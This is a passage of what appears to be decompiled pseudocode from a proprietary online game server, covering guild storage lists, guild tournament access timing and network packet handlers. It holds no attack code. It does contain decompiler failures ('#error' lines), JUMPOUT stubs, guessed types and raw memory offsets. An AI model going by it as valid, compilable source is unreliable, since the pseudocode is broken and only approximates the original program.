GuildStorage::GuildStorageElement *result; // eax@1 char key; // [sp+8h] [bp-1080h]@1 unsigned int v6; // [sp+1070h] [bp-18h]@1 unsigned int v7; // [sp+1078h] [bp-10h]@1 int v8; // [sp+1084h] [bp-4h]@1 v3 = (List *)this; v7 = (unsigned int)&key ^ __security_cookie; ItemGuildStorage::ItemGuildStorage((ItemGuildStorage *)&key); v6 = guild; v8 = 0; List::l_Search( v3, GuildStorage::GuildStorageElement::gse_GuildCompare, storagehandle, (GuildStorage::GuildStorageElement *)&key); v8 = -1; ItemGuildStorage::_ItemGuildStorage((ItemGuildStorage *)&key); __security_check_cookie((unsigned int)&key ^ v7); return result; } //----- (00463A90) -------------------------------------------------------- #error "463A90: undefined or illegal type '#593' (funcsize=156)" //----- (00463CB0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildStorage::GuildStorageElement::operator_(v3, (int)ele); return 1; } // 463CC5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00463CE0) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 36; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 4184) = *(_DWORD *)(a2 + 4184); *(_DWORD *)(this + 4188) = *(_DWORD *)(a2 + 4188); *(_DWORD *)(this + 4192) = *(_DWORD *)(a2 + 4192); *(_DWORD *)(this + 4196) = *(_DWORD *)(a2 + 4196); *(_DWORD *)(this + 4200) = *(_DWORD *)(a2 + 4200); *(_BYTE *)(this + 4204) = *(_BYTE *)(a2 + 4204); return result; } //----- (00463D60) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildStorage::GuildStorageElement::operator_(v3, (int)ele); return 1; } // 463D76: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00463D90) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00463DE0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00463E30) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 signed int v2; // ecx@1 signed int v3; // eax@1 int v4; // edi@1 ListStruct *v5; // edx@3 GuildStorage::GuildStorageElement *v6; // ebp@3 int v7; // edx@3 ListStruct *v8; // edx@6 GuildStorage::GuildStorageElement *v9; // ebp@6 int v10; // edx@6 ListStruct *v11; // edx@9 GuildStorage::GuildStorageElement *v12; // ebp@9 int v13; // edx@9 ListStruct *v14; // edx@12 GuildStorage::GuildStorageElement *v15; // ebp@12 int v16; // edx@12 ListStruct *v17; // edx@15 GuildStorage::GuildStorageElement *v18; // ebp@15 int v19; // edx@15 ListStruct *v20; // edx@18 GuildStorage::GuildStorageElement *v21; // ebp@18 int v22; // edx@18 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x12Cu); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::GuildStorageElement, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v2 = 2; v3 = 3; v4 = (int)&v1->gsm_StorageArray[1]; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v5 = v1->baseclass_0.l_Array; v6 = v5[v3 - 3].ls_Content; v7 = (int)&v5[v3 - 3]; if ( !v6 ) *(_DWORD *)v7 = v4 - 4208; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v8 = v1->baseclass_0.l_Array; v9 = v8[v3 - 2].ls_Content; v10 = (int)&v8[v3 - 2]; if ( !v9 ) *(_DWORD *)v10 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v11 = v1->baseclass_0.l_Array; v12 = v11[v3 - 1].ls_Content; v13 = (int)&v11[v3 - 1]; if ( !v12 ) *(_DWORD *)v13 = v4 + 4208; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v14 = v1->baseclass_0.l_Array; v15 = v14[v3].ls_Content; v16 = (int)&v14[v3]; if ( !v15 ) *(_DWORD *)v16 = v4 + 8416; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v17 = v1->baseclass_0.l_Array; v18 = v17[v3 + 1].ls_Content; v19 = (int)&v17[v3 + 1]; if ( !v18 ) *(_DWORD *)v19 = v4 + 12624; } if ( v2 + 3 < v1->baseclass_0.l_MaxSize ) { v20 = v1->baseclass_0.l_Array; v21 = v20[v3 + 2].ls_Content; v22 = (int)&v20[v3 + 2]; if ( !v21 ) *(_DWORD *)v22 = v4 + 16832; } v2 += 6; v3 += 6; v4 += 25248; } while ( v2 - 2 < 300 ); } // 642978: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00463F90) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this) { int v1; // eax@1 bool result; // al@2 int v3; // esi@3 _UNKNOWN *v4; // eax@3 unsigned int v5; // edx@3 v1 = *(_DWORD *)(this + 296); if ( v1 ) { result = v1 == 1; } else { v3 = *(_DWORD *)this; *(_DWORD *)(this + 296) = 1; v4 = &unk_D1D8F31; v5 = 0; while ( *((_DWORD *)v4 - 2) != v3 || *((_DWORD *)v4 - 1) != *(_DWORD *)(this + 4) || *(_DWORD *)v4 != *(_DWORD *)(this + 8) ) { v5 += 13; v4 = (char *)v4 + 13; if ( v5 >= 0x193 ) { *(_DWORD *)(this + 296) = 2; return 0; } } result = 1; } return result; } //----- (00463FF0) -------------------------------------------------------- void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this) { *(_QWORD *)&this->gta_Field.n3_name[4] = 0i64; *(_DWORD *)&this->gta_Field.n3_name[0] = 0; this->gta_Struct.nTournamentSeed = -1; } //----- (00464010) -------------------------------------------------------- bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this) { unsigned int v1; // esi@1 unsigned int v2; // edx@2 v1 = this->gta_MatchStartTime; return v1 && (v2 = (unsigned __int64)(8246337211200i64 * this->gta_Struct.nExploerTimeMin) >> 32, clockwatch.cw_CurrTick <= v1 + ((signed int)v2 >> 2) + (v2 >> 31)); } //----- (00464050) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this) { int v1; // esi@1 v1 = *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 23690)); return v1 && clockwatch.cw_CurrTick <= v1 + 4800 * *(&guildtournamentinfo.gta_Struct.nExploerTimeMin + 18 * *(_BYTE *)(this + 23690)) / 10; } //----- (004640A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this) { void *v1; // ebp@1 char *v2; // esi@1 unsigned int v3; // eax@2 int v4; // edi@5 int v5; // eax@7 int i; // [sp+10h] [bp-4h]@1 v1 = this; i = 0; v2 = &guildtournamentinfo.gta_Field.n3_name[8]; while ( 1 ) { LOBYTE(v3) = *(v2 - 25); if ( (_BYTE)v3 == -1 || (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2072))(v1), v3 != *((_DWORD *)v2 - 4)) && (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2072))(v1), v3 != *((_DWORD *)v2 - 3)) ) goto LABEL_11; v4 = *(_DWORD *)(v2 + 7); if ( !v4 || (v3 = v4 + 4800 * *((_WORD *)v2 - 11) / 10, clockwatch.cw_CurrTick > v3) ) return v3; v5 = *(_DWORD *)((char *)v1 + 98); if ( *(_DWORD *)v5 == *((_DWORD *)v2 - 2) ) { if ( *(_DWORD *)(v5 + 4) == *((_DWORD *)v2 - 1) ) { v3 = *(_DWORD *)(v5 + 8); if ( v3 == *(_DWORD *)v2 ) break; } } LOBYTE(v3) = (*(int (__thiscall **)(void *, char *, int))(*(_DWORD *)v1 + 2344))(v1, v2 - 25, i); LABEL_11: v2 += 36; ++i; if ( (signed int)v2 >= (signed int)((char *)&dword_D1D8F3E + 3) ) return v3; } *((_BYTE *)v1 + 23690) = i; return v3; } // D1D8F3E: using guessed type int dword_D1D8F3E; //----- (00464170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed) { void *v3; // esi@1 int v4; // edi@4 const char *v5; // eax@4 int v6; // edi@4 const char *v7; // eax@4 int v8; // eax@7 v3 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 2072))() == *(_DWORD *)(gt_start + 9) || (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2072))(v3) == *(_DWORD *)(gt_start + 13) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2688))(v3) ) { *((_BYTE *)v3 + 23690) = nTournamentSeed; *(_WORD *)gpp.pp_Buffer = 29851; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn : Packet Too Long", 3); } } else { v4 = *(_DWORD *)v3; v5 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr0"); (*(void (__thiscall **)(void *, const char *))(v4 + 1924))(v3, v5); v6 = *(_DWORD *)v3; v7 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr1"); (*(void (__thiscall **)(void *, const char *))(v6 + 1924))(v3, v7); } } } //----- (00464240) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentClear(int this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 v1 = (void *)this; *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)(this + 248)) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 248)) = 0; *(_BYTE *)(this + 248) = -1; v2 = FieldMap::fm_GetGuildTournamentSystem((void *)this); if ( v2 ) { v3 = FieldMap::fm_GetGuildTournamentSystem(v1); LOBYTE(v2) = GuildTournamentSystem::Clear((GuildTournamentSystem *)v3); } return v2; } //----- (00464290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2) { char *v2; // eax@2 int v3; // eax@4 if ( *(_DWORD *)(this + 8580) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)(this + 8580); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v3 + 12))(v3, a2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineMob::mb_SendMyGuildInfo : Packet Too Long", 8); } } } //----- (00464300) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 23689) = Grade; return result; } //----- (00464310) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this) { return *(_BYTE *)(this + 23689) <= 0u; } //----- (00464320) -------------------------------------------------------- #error "464320: undefined or illegal type '#593' (funcsize=29)" //----- (00464370) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 2352))(*(_WORD *)(netcmd + 2)); } //----- (00464390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber) { int v2; // esi@1 int v3; // ecx@2 v2 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v3 = *(_DWORD *)(v2 + 98); if ( v3 ) { if ( FieldMap::fm_IsGuildTournametnMap(v3) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v2); } } } //----- (004643C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill) { char *v3; // eax@1 void *v4; // esi@1 int v5; // eax@3 char *v6; // edi@5 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@5 int v8; // [sp+1Ch] [bp-4h]@5 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = 29904; *((_WORD *)v3 + 1) = nType; *((_WORD *)v3 + 2) = nUseSkill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK : Packet Too Long", 6); } if ( nUseSkill != 65535 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29905; *(_DWORD *)(v6 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); *((_WORD *)v6 + 3) = nUseSkill; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v8 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (004644B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29899; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK : Packet Too Long", 4); } } //----- (00464510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // eax@3 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29900; *((_WORD *)v2 + 1) = nType; *((_WORD *)v2 + 2) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v4 = *(_DWORD *)(v3 + 78); v8 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD : Packet Too Long", 6); } v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (004645F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29908; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK : Packet Too Long", 4); } } //----- (00464650) -------------------------------------------------------- #error "464650: undefined or illegal type '#593' (funcsize=56)" //----- (00464740) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser) { void *v3; // esi@1 char v4; // cl@3 int v5; // esi@3 char *v6; // eax@5 ZoneBaseSession *v7; // eax@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v3 + 248) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set", *((_BYTE *)v3 + 248)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } else { v4 = *((_BYTE *)v3 + 248); v5 = 36 * *((_BYTE *)v3 + 248); if ( *(&guildtournamentinfo.gta_Struct.nTournamentSeed + v5) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set<2>", 255); } else { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29826; v6[2] = v4; *(_WORD *)(v6 + 3) = *(unsigned __int16 *)((char *)&guildtournamentinfo.gta_Struct.nTournamentMapNo + v5); *(_DWORD *)(v6 + 6) = winner; v6[5] = winner == loser; *(_DWORD *)(v6 + 10) = loser; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 14); } *(&guildtournamentinfo.gta_Result2WMS + v5) = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } } //----- (004648D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld) { void *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 2145) = gld; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); v4 = *((_DWORD *)v2 + 2145); v8 = 0; *((_DWORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); } //----- (004649D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2092))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); } //----- (00464A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@3 ZoneBaseSession *v6; // eax@5 char *v7; // edi@6 ZoneBaseSession *v8; // eax@8 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13425; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 12); } v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29854; *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 8); } } else { ShineObjectClass::ShinePlayer::sp_GuildStorageError(v4, 4674); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); } //----- (00464BE0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned int v4; // ebx@1 char *v5; // esi@3 DebugLogging *v6; // eax@11 DebugLogging *v7; // esi@11 _iobuf *v8; // esi@13 char *v9; // [sp-4h] [bp-20h]@7 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v4 = 0; if ( v3 == 7000 ) { if ( *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) > 0u ) { v5 = (char *)&netcmd[5].protocol + 1; do { GuildTournamentSystem::SetGuildMemberGrade(*(_DWORD *)v5, (unsigned __int8)v5[4]); ++v4; v5 += 5; } while ( v4 < *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) ); } goto LABEL_15; } if ( v3 == 7001 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_FOUND"; LABEL_10: DebugLogging::operator<<(&GuildTournamentLog, v9); goto LABEL_11; } if ( v3 == 7002 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_TOURNAMENT"; goto LABEL_10; } LABEL_11: v6 = DebugLogging::operator<<( &GuildTournamentLog, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ErrorCode :"); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00464D10) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // edi@1 void *v4; // eax@2 int v5; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[4].protocol); if ( v3 ) { v4 = operator new(0x6Cu); if ( v4 ) RollBackPosCallBackEvent::RollBackPosCallBackEvent( (RollBackPosCallBackEvent *)v4, (Name3 *)&netcmd[6], (Name3 *)&netcmd[6], *(_DWORD *)&netcmd[12].protocol, *(_DWORD *)&netcmd[14].protocol); else v5 = 0; ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v3, v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( 